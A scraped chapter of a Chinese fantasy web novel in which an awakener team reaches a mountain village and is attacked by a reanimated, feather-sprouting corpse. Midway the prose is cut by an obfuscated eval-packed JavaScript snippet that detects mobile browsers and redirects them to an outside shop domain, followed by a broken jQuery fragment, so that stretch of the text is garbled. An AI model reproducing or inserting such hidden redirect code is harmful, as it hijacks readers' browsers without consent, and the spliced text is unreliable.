出行的一切都准备得很顺利,聂瑞斯的哥哥大概极有口碑,西里尔和维尔拉听说他跟着一起,不再对喻林的决定提出反对意见。
他们约好小队在中央广场的雕塑前集合,喻林和聂瑞斯坐地铁到时,已经有两个人等在羊头人怒张的骨翼投射下的阴影里了。
其中一人一头明亮的白色发丝,眼睛是和聂瑞斯如出一辙的黑色,更圆更钝,水灵灵地没有任何攻击性。他温和地对喻林点点头:“你好,我是伊伦·莱纳,聂瑞斯的哥哥。”
不愧是精神体是小鹿的觉醒者啊,长得好清纯。
喻林在心里暗自感叹,说:“你好,我是喻林。聂瑞斯跟我介绍了你,说你特别厉害。”
“是吗?”伊伦笑得温柔,眉目中像有碎星闪烁,“聂瑞斯还有说我好话的时候呢?”
“行了,”聂瑞斯睨他一眼,转向另一个陌生的青年,“多里安,好久不见,我听伊伦说带了个熟人,没想到是你。”
“伊伦说要吓一吓你,特地叫我不要提前和你说。”多里安露出两排洁白的牙齿:“这位就是喻小姐了吧?久仰,我前天碰到布伦登学长,他知道我要和你出任务还特地嘱咐我呢!”
“你好,叫我喻林就行,”喻林对不熟的人一贯祭出微笑大法,顺着他的话往下讲,“我好久没见布伦登指挥官了,没想到他居然知道我要下污染区。”
“都在一个圈子里,消息传得快。你知不知道,你可有名了!现在觉醒者找一个脑域适配的净化系多难呀,难得有你这么一个脑域百搭的,好多指挥官都盯着呢,想要在你开放净化通道后冲进去给队员抢名额!”
喻林这下懵了:“还有这回事?我一点都不知道。”
“你不知道?”多里安立刻精神了,“我给你讲!我知道得可多了!伊伦和聂瑞斯这两个家伙只会嫌我吵,我就知道这趟出门有好事!”
“因为你的话真的很多,”聂瑞斯两手撑在喻林后背把她往车上推,和多里安说,“走了,要讲也到车上去讲,时间不等人。”
她最近都待在学校没回家,还不知道这些八卦呢。她也要听。
“……那个巴洛,就是那个精神体是蛇鹫,很不好惹的净化系,他的脑域不是比较适配高等级的觉醒者嘛,刚好最近回主城区了,我身边好多觉醒者想抢他的号,结果周一早上八点预约刚放出来就秒没!我从来都不知道日落地有这么多高等级的觉醒者!这下好了,时间一拖延其他号也抢不着了。我看我好几个学长队里的觉醒者都没抢到,他们已经在互相找关系问夏里涅女士的群体净化能不能多塞人进去了……诶,到地方了!”
云中城在日落地以南地区。在前世,这块土地属Y国境内,以山地为主。云中城就在最高的一座山峰之上。
他们把车停在山脚,把所有物资装在背包里,改坐缆车到半山腰。这里有离云中城最近的一个村庄,他们要在这里准备好所有,然后进入污染区。
这里人烟稀少,脚下是葱绿的牧草,风一吹便窸窸窣窣地摇曳,七八株杉树团在一起,零零散散地缀在绿丝绒的幕布上。放眼望去,远处是长着密集杉木的山丘,其上是嶙峋的雪山。
“哇。”喻林仰着头东张西望,嘴巴就没有合上过。
生长在江南水乡,她见过最高的山都没有超过500米,更别提在半干旱温带地区温养出的广袤草原,和覆盖着皑皑白雪的山峰了。
聂瑞斯抓着喻林的战术腰带,起到一个方向盘的作用,防止喻林走路不看路摔跤。
“眼睛都要掉出来了。”她敲敲喻林的脑袋。
“我没见过嘛,”喻林用一只手捂住脑门不让聂瑞斯敲,视线像粘在了远处的风光上一般一错不错,“学校里周末上课假期也上课,我就没出过远门,从来没见过这种风景。”
本来她打算高考后买票坐高铁去西北的,谁知道事与愿违,以前一说到考试就浑身难受,现在想考试都考不了。
九州塔的教育恐怖如斯,聂瑞斯心底不由升起一丝对喻林的同情,但不多。她转身把喻林的手腕捏住强行给她拧回来。
“好了,任务结束后你再慢慢看,我们现在有正事呢。”
伊伦笑眯眯地说:“结束后看时间,如果离开学还早,可以在这里住几天。你骑过马吗?可以到时候租马匹在草地上逛逛。”
“对啊,”多里安将手搭在额头上眺望,“这里这么平坦广阔,跑马应该很爽吧。”
听他们话里的描述,喻林光想想就要给自己想美了,反挽住聂瑞斯的手,走路也能目视前方了:“真希望我们能快点结束。”
“天呐,能不能有点出息。”聂瑞斯扯她的马尾辫。
村庄很小,房屋统一是白墙灰瓦,周围栽种着零星的云杉,中央有一座高高的钟塔。
木头和石子砌成的围栏里是三两成群的牛羊和马匹,甩着尾巴,低声哼叫,似乎也在欢迎四位衣着整肃的外乡人。
得到消息的村长拄着拐杖,领着两个人高马大的年轻人出来迎接。
其中一人的脚边蹲着一只圆滚滚的旱獭,体型比一般旱獭大两倍左右,明显是一只精神体。
喻林的视线不着痕迹地从眼前的人物风景上掠过,规规矩矩地收束在脚尖前的地面上。
伊伦从口袋里摸出早就准备好的证件,出示给村长:“您好,我们是来处理污染物的觉醒者小队,需要暂借一处落脚点。”
村长把架在鼻梁上的眼镜往上推,颤颤巍巍接过证件,眯着眼睛仔细读完,又慢缓缓递回去:“好,好,终于有队伍过来了。具体的我一个老头子也说不明白,让贝克带你们去屋里说。”
旱獭缩成巴掌大,爪子扒住主人的裤缝线一勾,蹬着后腿跳到肩头。贝克用手揉揉小家伙的头,对伊伦说:“莱纳前辈,你们跟我来吧。”
这座村庄已经在安全区的最外缘,常年有觉醒者在附近巡逻,为此村庄专门腾出一间屋子,供换班的觉醒者休息。
“我们在半个月前观察发现了云中城,”贝克提进来一壶水,给每人都倒了一杯,“它是突然出现的,并且只有在晴天才能看见。它出现后,污染区里安插的探测器污染指数均增长超过20%,村中有一人失踪。”
喻林抿了一口水,发现日落地这地方就没人喝热水,接客倒的也是冷水,又默默地放回去。
伊伦问:“失踪的人现在怎么样了?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812893|210941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
贝克抹了一把汗:“死了。找到的时候尸体已经开始腐烂了。家属接受不了,一定要运回来下葬,结果当天晚上,尸体上突然长出羽毛,活了过来。所有人都看到了,他长着大翅膀冲破屋顶飞到天上,又突然一头栽下来,再也不动了。”
“我们找到人时特地做过检测,当时污染值是74,明明没有到达变成污染物的极限。”
而且,污染需要有生命的养料,此前从来没有死者还能继续变成污染物的先例。
多里安也没了来时的笑容,正色道:“尸体还保存着吗?”
“在的,”贝克连连点头,站起来把门打开,“跟我来。”
尸体被保存在地窖里。伊伦走在最前和贝克并肩,多里安走在最后,把喻林和聂瑞斯夹在中间。还没到底,喻林突然鼻子抽了抽,轻轻皱起眉头。
聂瑞斯听到细碎的响动,问:“怎么了?”
喻林吸了吸鼻子,努力辨别空气中的气味:“……好臭。”
贝克立刻解释:“因为尸体保存了很多天,所以难免有尸臭。”
他不免多瞧了这个面生的姑娘两眼。连尸臭都受不了,能进污染区杀敌吗?之前就看她对这边的陈设百般挑剔,该不会会是什么有背景的大小姐出来体验生活,拉了莱纳前辈当垫背吧?
那可算是踢到铁板了,莱纳前辈可不是什么任人摆布的善茬。
“不,不是尸臭。”是夹杂在尸臭之中的一股腐败的味道,像是长满苔藓的密林里,一滩已经发绿的死水。
有点熟悉,感觉好像在什么地方闻到过,到底是在哪里……
离地窖越来越近,气味也越来越浓,贝克调大了换气系统的功率,那若有若无的臭味从喻林的鼻子下溜走。
喻林想了半天,还是没想出什么所以然,只好放弃,跟在伊伦后面走进地窖。
尸体被封存在棺中,贝克让看守的村民先行离开,自己走上去打开盖子。随着一抹亮光照进棺内,一张青筋横露,双目狰狞的脸展露在空气中。
聂瑞斯凑在一旁,看到死者身上惨烈的血痕,忍不住说:“没有入殓师收拾一下吗?”
“不,怎么会这样……”贝克双腿打颤,倒退两步,“人放进去明明好好的!全都收拾干净了!”
喻林站在侧边,从开棺的一瞬间起,一股浓郁的腐朽气息就飘散在空气中,并有愈演愈烈之势,就像是发臭的水底,有什么东西扭动身体要挖穿烂泥,破水而出。
“小心!”她骤然惊出一身冷汗,以不可思议的爆发力抓住聂瑞斯的胳膊往后一拉,闪躲过刺向聂瑞斯胸膛的手。
难以说这是一只人类的手,皮肤是石膏一样的惨白色,隐隐约约透露出青绿,毛孔粗大,长着一茬一茬白色的空心羽根,五指成爪状,指甲又长又黑,剐蹭在棺木上,轻松地剜下一层木屑。
“瑞莎!”伊伦大喊,一头顶着硕大角冠的鹿凭空出现,挡在聂瑞斯和喻林身前。
喻林抱着聂瑞斯一起摔在地上,空气中的恶臭愈发令人难以忍受,比起生理上的不适,喻林心里有对它有一种本能的厌恶,胃部被失去平衡的聂瑞斯用手肘压住,差点让她当场吐在她身上。